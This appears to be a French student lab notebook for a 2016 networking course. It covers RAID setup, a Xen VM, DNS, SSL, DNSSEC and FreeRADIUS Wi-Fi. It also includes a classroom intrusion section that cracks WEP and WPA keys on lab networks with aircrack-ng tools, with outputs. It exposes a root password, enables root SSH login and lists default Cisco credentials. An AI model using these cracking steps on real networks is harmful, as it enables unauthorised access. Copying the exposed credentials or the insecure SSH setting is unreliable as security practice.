Cahier 2016 groupe n°3
Sommaire
Tâche spécifique
Gestion du serveur DAS
Installation des outils HP
Ajout du dépôt dans /etc/apt/sources.net :
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ jessie/current non-free
Copier / Coller le contenu des clés et les ajouter, liens des clés disponibles à ces adresses :
http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub
Ajout des clefs :
apt-key add ./hpPublicKey1024.pub apt-key add ./hpPublicKey2048.pub apt-key add ./hpPublicKey2048_key1.pub
On met à jour les paquets et on installe l'utilitaire HP hpssacli :
aptitude update aptitude install hp-health hpssacli
Commandes disponibles pour hpssacli : https://oitibs.com/hp-acu-command-line-reference/
Configuration des disques
Après avoir installé l'utilitaire HP pour gérer nos disques, nous pouvons enfin savoir les caractéristiques des baies :
hpssacli ctrl all show config
On obtient alors :
Smart Array P800 in Slot 4 (sn: P98690E9SV10C3) Port Name: 1I Port Name: 2I Port Name: 1E Port Name: 2E Internal Drive Cage at Port 3I, Box 1, OK Internal Drive Cage at Port 4I, Box 1, OK StorageWorks MSA 60 at Port 1E, Box 1, OK array A (SAS, Unused Space: 0 MB) logicaldrive 1 (820.2 GB, RAID 5, OK) physicaldrive 3I:1:1 (port 3I:box 1:bay 1, SAS, 146 GB, OK) physicaldrive 3I:1:2 (port 3I:box 1:bay 2, SAS, 146 GB, OK) physicaldrive 3I:1:3 (port 3I:box 1:bay 3, SAS, 146 GB, OK) physicaldrive 3I:1:4 (port 3I:box 1:bay 4, SAS, 146 GB, OK) physicaldrive 4I:1:5 (port 4I:box 1:bay 5, SAS, 146 GB, OK) physicaldrive 4I:1:6 (port 4I:box 1:bay 6, SAS, 146 GB, OK) physicaldrive 4I:1:8 (port 4I:box 1:bay 8, SAS, 146 GB, OK) physicaldrive 4I:1:7 (port 4I:box 1:bay 7, SAS, 146 GB, OK, spare) array B (SATA, Unused Space: 0 MB) logicaldrive 2 (1.9 TB, RAID 5, Recovering, 0% complete) logicaldrive 3 (1.9 TB, RAID 5, Ready for Rebuild) logicaldrive 4 (751.2 GB, RAID 5, Ready for Rebuild) physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK) physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK) physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK) physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK) physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK) physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, Rebuilding) physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare) array C (SATA, Unused Space: 0 MB) logicaldrive 5 (1.9 TB, RAID 5, OK) logicaldrive 6 (1.7 TB, RAID 5, OK) physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK) physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK) physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK) physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK) physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK) physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare)
Nous avons supprimé (et formaté) tous les disques logiques liés aux disques physiques du StorageWorks MSA 60
hpssacli ctrl slot=4 ld 6 delete hpssacli ctrl slot=4 ld 5 delete ... hpssacli ctrl slot=4 ld 2 delete
Puis créé un disque logique en RAID 10 avec tous les disques physiques du MSA60 qui sera notre disque réservé pour la sauvegarde des VM
hpssacli ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=1+0
Enfin, on s'assure que le disque logique a correctement été généré
array B (SATA, Unused Space: 0 MB) logicaldrive 2 (5.5 TB, RAID 1+0, OK) physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK) physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK) physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK) physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK) physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK) physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK) physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK) physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK) physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK) physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK) physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, OK) physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK)
Montage du disque de sauvegarde sur le serveur Debian
Les disques logiques et leurs partitions sont répertoriés à l'emplacement suivant :
ls /dev/cciss/
c0d0 c0d0p1 c0d0p2 c0d0p5 c0d0p6 c0d0p7 c0d0p8 c0d1
Ici, c0d0 représente le disque logique (p1,p2,...,p8 les partitions) où est installé Debian (disques physiques liés à la station DL380 G5).
On retrouve notre disque logique (disques physiques liés au MSA60) créé précédemment identifié c0d1 :
fdisk -l /dev/cciss/c0d1
Disque /dev/cciss/c0d1 : 5,5 TiB, 6001026883584 octets, 11720755632 secteurs Unités : secteur de 1 × 512 = 512 octets Taille de secteur (logique / physique) : 512 octets / 512 octets taille d'E/S (minimale / optimale) : 512 octets / 512 octets
On transforme notre disque logique en partition ext4 :
mkfs.ext4 /dev/cciss/c0d1
On créer le dossier qui servira de point de montage, puis on monte notre partition dans celui-ci :
mkdir /backup mount -t auto /dev/cciss/c0d1 /backup
Afin de monter automatiquement notre partition à chaque démarrage, il suffit d'ajouter la ligne suivante dans fstab :
vi /etc/fstab
/dev/cciss/c0d1 /backup ext4 defaults 0 2
Après redémarrage du serveur, on vérifie si notre disque logique est monté automatiquement :
df -h
Sys. de fichiers Taille Utilisé Dispo Uti% Monté sur /dev/cciss/c0d0p1 8,2G 881M 6,9G 12% / udev 10M 0 10M 0% /dev tmpfs 775M 456K 775M 1% /run tmpfs 5,0M 0 5,0M 0% /run/lock tmpfs 4,8G 0 4,8G 0% /run/shm /dev/cciss/c0d0p8 781G 69M 741G 1% /home /dev/cciss/c0d0p7 360M 2,1M 335M 1% /tmp /dev/cciss/c0d0p5 2,7G 339M 2,3G 14% /var /dev/cciss/c0d1 5,5T 58M 5,2T 1% /backup
Références
HP - Maintenance et service du G5
HP - Datasheet en Français (lien mort ?)
Wiki CSNU - Installation des outils HP pour debian
Script and cie
Tâches communes
Gestion de la machine virtuelle
Installation de la machine virtuelle avec Xen
Pour créé la machine virtuelle, on utilise xen-create-image avec les paramètres souhaités :
xen-create-image --hostname=Deadpool --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.171 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=********
Puis, on récupère les informations suivantes afin de vérifier diverses paramètres :
General Information -------------------- Hostname : Deadpool Distribution : jessie Mirror : http://debian.polytech-lille.fr/debian/ Partitions : swap 128M (swap) / 4G (ext3) Image type : sparse Memory size : 128M Kernel path : /boot/vmlinuz-3.14-2-amd64 Initrd path : /boot/initrd.img-3.14-2-amd64 Networking Information ---------------------- IP Address 1 : 193.48.57.163 [MAC: 00:16:3E:FF:6F:DC] Netmask : 255.255.255.240 Gateway : 193.48.57.171 Creating partition image: /usr/local/xen/domains/Deadpool/swap.img Done Creating swap on /usr/local/xen/domains/Deadpool/swap.img Done Creating partition image: /usr/local/xen/domains/Deadpool/disk.img Done Creating ext3 filesystem on /usr/local/xen/domains/Deadpool/disk.img (...) Logfile produced at: /var/log/xen-tools/Deadpool.log Installation Summary --------------------- Hostname : Deadpool Distribution : jessie MAC Address : 00:16:3E:FF:6F:DC IP Address(es) : 193.48.57.163 RSA Fingerprint : d0:38:7b:89:c7:72:e7:52:d9:b7:5c:5b:ab:3e:fe:3f Root Password : hZsEGmZX
Configuration de la machine virtuelle
On utilise lvcreate pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte :
lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-home -v lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-var -v
Commande pour démarrer la machine virtuelle :
xl create /etc/xen/Deadpool.cfg
Commande pour se connecter à la machine virtuelle par console :
xl console Deadpool
Commande pour éteindre la machine virtuelle :
xl shutdown Deadpool
Commande pour détruire la machine virtuelle :
xl destroy Deadpool
Tests d'intrusion
Cassage de clef WEP
Via airodump-ng, on liste les réseaux wi-fi protégés par WEP :
airodump-ng --encrypt wep wlx40a5ef01370a
wlx40a5ef01370a représente ici notre interface réseau (équivalant à wlan0 par exemple)
On obtient la liste des réseaux wi-fi suivante :
[ CH 5 ][ Elapsed: 2 mins ][ 2016-11-07 10:30 ][ WPA handshake: 04:DA:D2:CF:01:93 ] BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 44:AD:D9:5F:87:00 -50 73 0 0 11 54e. WEP WEP Wolverine 04:DA:D2:9C:50:51 -64 90 0 0 13 54e. WEP WEP cracotte02 04:DA:D2:9C:50:53 -67 58 0 0 13 54e. WEP WEP cracotte04 04:DA:D2:9C:50:59 -68 85 0 0 13 54e. WEP WEP cracotte10 04:DA:D2:9C:50:56 -74 88 1329 17 13 54e. WEP WEP cracotte07 04:DA:D2:9C:50:52 -75 87 2279 14 13 54e. WEP WEP cracotte03 04:DA:D2:9C:50:58 -75 87 1751 14 13 54e. WEP WEP cracotte09 04:DA:D2:9C:50:57 -75 86 1293 7 13 54e. WEP WEP cracotte08 04:DA:D2:9C:50:54 -76 88 1460 15 13 54e. WEP WEP cracotte05 04:DA:D2:9C:50:50 -76 80 1345 11 13 54e. WEP WEP cracotte01 04:DA:D2:9C:50:55 -76 83 1501 10 13 54e. WEP WEP cracotte06 00:3A:7D:12:DC:F2 -1 0 0 0 6 -1 <length: 0>
On lance le monitoring sur le réseau que l'on souhaite cracker :
airodump-ng --essid cracotte07 --channel 13 -w testcrack wlx40a5ef01370a
[ CH 13 ][ Elapsed: 1 min ][ 2016-11-07 10:46 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:56 -72 12 608 8283 91 13 54e. WEP WEP cracotte07
Nous pouvons ensuite lancer le crackage à l'aide de aircrack-ng :
aircrack-ng testcarck-03.cap
Aircrack-ng 1.2 beta3 [00:00:00] Tested 84483 keys (got 35490 IVs) KB depth byte(vote) 0 0/ 5 EE(46080) EF(44032) 53(43008) 7B(43008) FC(43008) 1 3/ 15 EE(41984) 8D(41728) DD(41472) 16(41216) 28(41216) 2 0/ 2 EE(47616) 29(45824) C9(43776) 27(43264) 42(43008) 3 0/ 10 EE(44800) A9(44288) 15(43264) C5(42496) 2C(42496) 4 0/ 1 EE(49920) 2A(45312) 9D(43520) DA(43008) FD(41216) 5 0/ 4 EE(45312) A1(43520) C6(42240) E8(42240) 76(41472) 6 0/ 1 EE(50944) 98(42496) BB(42496) 4C(41728) B3(41728) 7 0/ 1 EE(54272) D3(42752) 19(42240) 08(41984) 58(41984) 8 5/ 8 F4(41216) 39(40960) 5E(40960) D7(40960) 1E(40704) 9 1/ 2 E4(45312) 51(43264) A7(42752) 5F(41984) CA(41728) 10 0/ 1 44(51200) 12(43264) CD(41984) 9C(41216) E5(41216) 11 0/ 1 44(50176) B0(42240) D2(41728) DC(41728) 62(41472) 12 0/ 1 44(47872) 0B(44032) B4(42752) D9(42496) 43(41728) KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44 ] Decrypted correctly: 100%
La clé est décrypté en quelques secondes !
Cassage de clef WPA-PSK par force brute
blablabla
airmon-ng start wlx40a5ef01370a crunch 8 8 0123456789 > dico.txt airmon-ng check kill airodump-ng --encrypt wpa wlx40a5ef01370a
[ CH 3 ][ Elapsed: 8 s ][ 2016-11-07 11:30 ] BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9D:82:A2 -75 2 0 0 4 54e. WPA2 CCMP PSK <length: 1> 00:19:07:C5:0F:A6 -62 7 0 0 1 54e. WPA2 CCMP MGT <length: 1> 00:19:07:C5:0F:A0 -63 6 4 0 1 54e. WPA2 CCMP MGT LILLE1 00:19:07:C5:0F:A5 -62 6 0 0 1 54e. WPA2 CCMP PSK <length: 1> 00:19:07:C5:0F:A3 -64 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests 00:19:07:C5:0F:A7 -62 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff 00:19:07:C5:0F:A2 -63 7 0 0 1 54e. WPA2 CCMP PSK <length: 1> 00:19:07:C5:0F:A8 -62 6 4 0 1 54e. WPA2 CCMP MGT eduroam 00:19:07:C5:0F:A4 -63 8 2 0 1 54e. WPA2 CCMP MGT PolytechLille 00:19:07:C5:0F:A1 -64 8 6 1 1 54e. WPA2 CCMP MGT <length: 1> 04:DA:D2:9C:50:58 -70 6 0 0 13 54e. WPA2 CCMP PSK cracotte09 04:DA:D2:9C:50:50 -71 6 0 0 13 54e. WPA2 CCMP PSK cracotte01 04:DA:D2:9C:50:55 -71 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 04:DA:D2:9C:50:53 -71 7 0 0 13 54e. WPA2 CCMP PSK cracotte04 04:DA:D2:9C:50:57 -71 7 0 0 13 54e. WPA2 CCMP PSK cracotte08 04:DA:D2:9C:50:51 -72 9 0 0 13 54e. WPA2 CCMP PSK cracotte02 04:DA:D2:9C:50:56 -72 9 0 0 13 54e. WPA2 CCMP PSK cracotte07 04:DA:D2:9C:50:52 -72 8 0 0 13 54e. WPA2 CCMP PSK cracotte03 04:DA:D2:9C:50:59 -71 8 0 0 13 54e. WPA2 CCMP PSK cracotte10
blablabla
airodump-ng --essid cracotte03 -c 13 --bssid 04:DA:D2:9C:50:52 -w dump wlx40a5ef01370a
[ CH 13 ][ Elapsed: 4 mins ][ 2016-11-07 11:36 ][ WPA handshake: 04:DA:D2:9C:50:52 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:52 -74 9 2573 259 0 13 54e. WPA2 CCMP PSK cracotte03 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -58 1e- 1e 0 185
blablabla
#aireplay-ng --deauth=5 -a 04:DA:D2:9C:50:52
Et enfin, on lance le décodage grâce au dictionnaire généré :
aircrack-ng dump-03.cap -w dico.txt -l KEY
Malheuresement, le décodage étant très long avec un eePC, nous avons recommencé et relancé le décodage sur notre Zabeth préférée.
Après une heure d'acharnement, nous avons enfin une clé !
Opening dump-01.cap Read 5625 packets. # BSSID ESSID Encryption 1 04:DA:D2:9C:50:52 cracotte03 WPA (1 handshake) Choosing first network as target. Opening dump-01.cap Reading packets, please wait... Aircrack-ng 1.2 beta3 [00:59:31] 12399952 keys tested (3160.12 k/s) KEY FOUND! [ 12399903 ] Master Key : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 Transient Key : 27 04 CB E4 68 2F D2 F6 CE 7D DF 51 25 60 2E 34 D0 D1 87 B9 A9 A5 3E 6E A6 6A EC 1E 05 29 12 D8 26 E5 DA 78 E4 87 AE 71 7A 5F AC BB 44 41 4E 2F 9D 18 A4 2C BF 88 82 59 BB F8 50 15 82 45 77 35 EAPOL HMAC : B6 83 11 A0 AC E3 AC 73 9D 7F 15 0A F1 A6 68 62 |
Services Internet
Serveur SSH
Il suffit d'installer ssh sur notre machine virtuelle si ce n'est pas déjà fait :
apt-get install ssh
Ensuite, pour autoriser la connexion en root en ssh, on remplace un paramètre dans le fichier /etc/ssh/sshd_config :
#PermitRootLogin without-password PermitRootLogin yes
Et on redémarre le service :
service ssh restart
Une fois le DNS configuré ci-après, nous pouvons facilement accéder à notre machine virtuelle depuis n'importe où :
ssh root@www.piscinemorte.net
root@www.piscinemorte.net's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Dec 6 18:13:23 2016 root@Deadpool:~#
Serveur DNS
Configuration sur la machine virtuelle
Nous avons d'abord réservé sur Gandi notre nom de domaine : piscinemorte.net
Ensuite, nous avons installé les paquets bind et apache (le dossier /var/www/www.piscinemorte.net servira pour la page web)
apt-get update apt-get install apache2 bind9 mkdir /var/www/www.piscinemorte.net
Une fois bind installé, on créer un fichier de zone db.piscinemorte.net (appellé également une "table de DNS")
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns.piscinemorte.net. root.piscinemorte.net ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; IN NS ns.piscinemorte.net. ns IN A 193.48.57.163 www IN A 193.48.57.163
Notre DNS (ns) a pour adresse 193.48.57.163, c'est à dire l'IP de notre machine virtuelle.
Enfin, nous configurons le fichier named.conf.local pour autoriser le transfert de paquets vers le DNS Esclave (l'adresse de Gandi dans notre cas) :
zone "piscinemorte.net" { type master; file "/etc/bind/db.piscinemorte.net"; allow-transfer {217.70.177.40;}; };
Pour finir, on redémarre notre service bind :
service bind9 restart
Configuration sur Gandi
Sur le site Gandi, depuis la gestion des domaines, il faut :
> Gérer les 'glue records'
'Nom du serveur' : ns.piscinemorte.net 'IP' : 193.48.57.163
> Modifier les serveurs DNS
'DNS1' : ns.piscinemorte.net 'DNS2' : ns6.gandi.net
Sécurisation de site web par certificat
Pour avoir un certificat SSL généré Gandi, nous avons généré un CSR de la façon suivante :
openssl req -nodes -newkey rsa:2048 -sha1 -keyout piscinemorte.net.key -out piscinemorte.net.csr
Nous avons complété les différentes informations demandés (pas vraiment important ici) :
Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:piscinemorte.net Organizational Unit Name (eg, section) []:piscinemorte.net Common Name (e.g. server FQDN or YOUR name) []:piscinemorte.net
Une fois notre certificat généré et validé par Gandi, nous plaçons nos fichiers de certification dans les dossiers adéquates :
cp piscinemorte.net.crt /etc/ssl/certs/piscinemorte.net.crt cp piscinemorte.net.key /etc/ssl/private/piscinemorte.net.key cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem
On notera que GandiStandardSSLCA2.pem est un certificat intermédiaire qui permet de certifier notre certificat.
Nous refaisons un hashage de la structure pour prendre en compte notre certificat :
c_rehash /etc/ssl/certs
Doing /etc/ssl/certs piscinemorte.net.crt => 651ac028.0 piscinemorte.net.crt => 179c2ae2.0 GandiStandardSSLCA2.pem => 8544bf03.0 GandiStandardSSLCA2.pem => e279a80b.0 ssl-cert-snakeoil.pem => ac2485cc.0 ssl-cert-snakeoil.pem => 1682ec15.0
On créé le fichier 000-piscinemorte.net-ssl.conf dans /etc/apache2/sites-available/ pour associer apache2 avec notre nom de serveur :
#NameVirtualHost *:443 <VirtualHost 193.48.57.163:443> ServerName www.piscinemorte.net ServerAlias piscinemorte.net DocumentRoot /var/www/www.piscinemorte.net/ CustomLog /var/log/apache2/secure_acces.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/piscinemorte.net.crt SSLCertificateKeyFile /etc/ssl/private/piscinemorte.net.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost> <Directory /var/www/www.piscinemorte.net> Require all granted </Directory> ServerName "piscinemorte.net"
Nous avons modifié le fichier ports.conf du serveur Apache pour qu'il écoute le port 443 (SSL):
Listen 80 443 <IfModule ssl_module> Listen 443 </IfModule>
Il ne suffit plus qu'à activer le module SSL de Apache :
a2enmod ssl
Puis activer notre site avec notre certificat :
a2ensite 000-piscinemorte.net-ssl.conf service apache2 reload
Sécurisation de serveur DNS par DNSSEC
Tout d'abord, on ajoute une option dans /etc/bind/named.conf.options pour activer dnssec :
dnssec-enable yes;
On créé un répertoire spécial pour y générer les clés
mkdir piscinemorte.net.dnssec cd piscinemorte.net.dnssec
Puis on génère la clé de signature de clefs de zone (KSK) et la clé de la zone pour signer les enregistrements (ZSK)
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE piscinemorte.net dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE piscinemorte.net
L'option "-r /dev/urandom" sert à accélérer la génération des clés
Après avoir renommé les clés générées, on les inclue dans notre fichier de zone /etc/bind/db.piscinemorte.net
$include /etc/bind/piscinemorte.net.dnssec/piscinemorte.net-ksk.key $include /etc/bind/piscinemorte.net.dnssec/piscinemorte.net-zsk.key
On signe les enregistrements de la zone :
dnssec-signzone -o piscinemorte.net -k piscinemorte.net-ksk ../db.piscinemorte.net piscinemorte.net-zsk
Verifying the zone using the following algorithms: RSASHA1. Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked ../db.piscinemorte.net.signed
Pour finir, il ne reste plus qu'à communiquer la partie publique de la KSK (et ZSK) à notre registrar (sur gandi.net via "Gérer DNSSEC") et vérifier la sécurisation :
Création de deux points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS
Création du serveur FreeRADIUS
Tout d'abord, nous mettons en place un serveur d'identification FreeRADIUS en PEAP-MSCHAPv2 qui va tourner sur notre machine virtuelle.
Pour cela, il faut installer FreeRADIUS :
apt-get install freeradius
Puis, on ajoute un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi :
nom_de_l_utilisateur Cleartext-password := "mot_de_passe"
On rajoute aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf :
client E304 { ipaddr = 10.60.1.6 secret = mot_de_passe } client E306 { ipaddr = 10.60.1.2 secret = mot_de_passe } client VLAN3 { ipaddr = 172.20.3.0 secret = mot_de_passe }
Pour utiliser le PEAP-MSCHAPv2, on modifie dans le fichier /etc/freeradius/eap.conf les valeurs suivantes :
eap { default_eap_type = peap peap { default_eap_type = mschapv2 } }
On fini par redémarrer FreeRADIUS pour bien prendre en compte les nouveaux paramètres :
service freeradius restart
Configuration des bornes Wi-Fi
Une fois les points d'accès Wifi disponibles, nous pouvons les configurer afin de créer notre propre SSID protégé par la méthode WPA2-EAP avec notre serveur d'authentification FreeRadius.
On commence par se connecter à l'une des deux bornes Wifi via Telnet :
telnet 10.60.1.2
Nous configurons le point d'accès (login : Cisco / password : Cisco) de la manière suivante pour créer notre VLAN et notre SSID :
enable conf t aaa new-model aaa authentication login eap_deadpool group radius_deadpool radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key mot_de_passe aaa group server radius radius_deadpool server 193.48.57.163 auth-port 1812 acct-port 1813 exit dot11 ssid Deadpool vlan 3 authentication open eap eap_deadpool authentication network-eap eap_deadpool authentication key-management wpa mbssid guest-mode exit interface Dot11Radio0 encryption vlan 3 mode ciphers aes-ccm tkip ssid Deadpool exit interface Dot11Radio0.3 encapsulation dot1Q 3 no ip route-cache bridge-group 3 bridge-group 3 subscriber-loop-control bridge-group 3 spanning-disabled bridge-group 3 block-unknown-source no bridge-group 3 source-learning no bridge-group 3 unicast-flooding exit interface GigabitEthernet0.3 encapsulation dot1Q 3 bridge-group 3 exit exit
Pour le deuxième point d'accès, il suffit de refaire la même chose.
Connexion à notre Wi-Fi
On se connecte à notre point d'accès grâce à nos identifiants créés précédemment dans la configuration de FreeRadius.
On configure l'accès sur un eeepc en modifiant le fichier /etc/network/interfaces :
auto wlan0 iface wlan0 inet static address 172.20.3.3 netmask 255.255.255.0 gateway 172.20.3.254 wpa-ssid Deadpool wpa-key-mgmt WPA-EAP wpa-identity nom_de_l_utilisateur wpa-password mot_de_passe
Enfin, on démarre l'interface pour se connecter sur notre point d'accès :
ifup wlan0 ifconfig
//résultats à recup
En ayant préalablement activé les logs des connexions dans la configuration de FreeRadius, on peut observer les authentifications dans /var/log/freeradius/radius.log :
Thu Dec 8 13:56:09 2016 : Info: Loaded virtual server <default> Thu Dec 8 13:56:09 2016 : Info: Loaded virtual server inner-tunnel Thu Dec 8 13:56:09 2016 : Info: Ready to process requests. Thu Dec 8 13:59:58 2016 : Auth: Login OK: [pifou/<via Auth-Type = EAP>] (from client E306 port 0 via TLS tunnel) Thu Dec 8 13:59:58 2016 : Auth: Login OK: [pifou/<via Auth-Type = EAP>] (from client E306 port 326 cli 40a5.ef05.a110)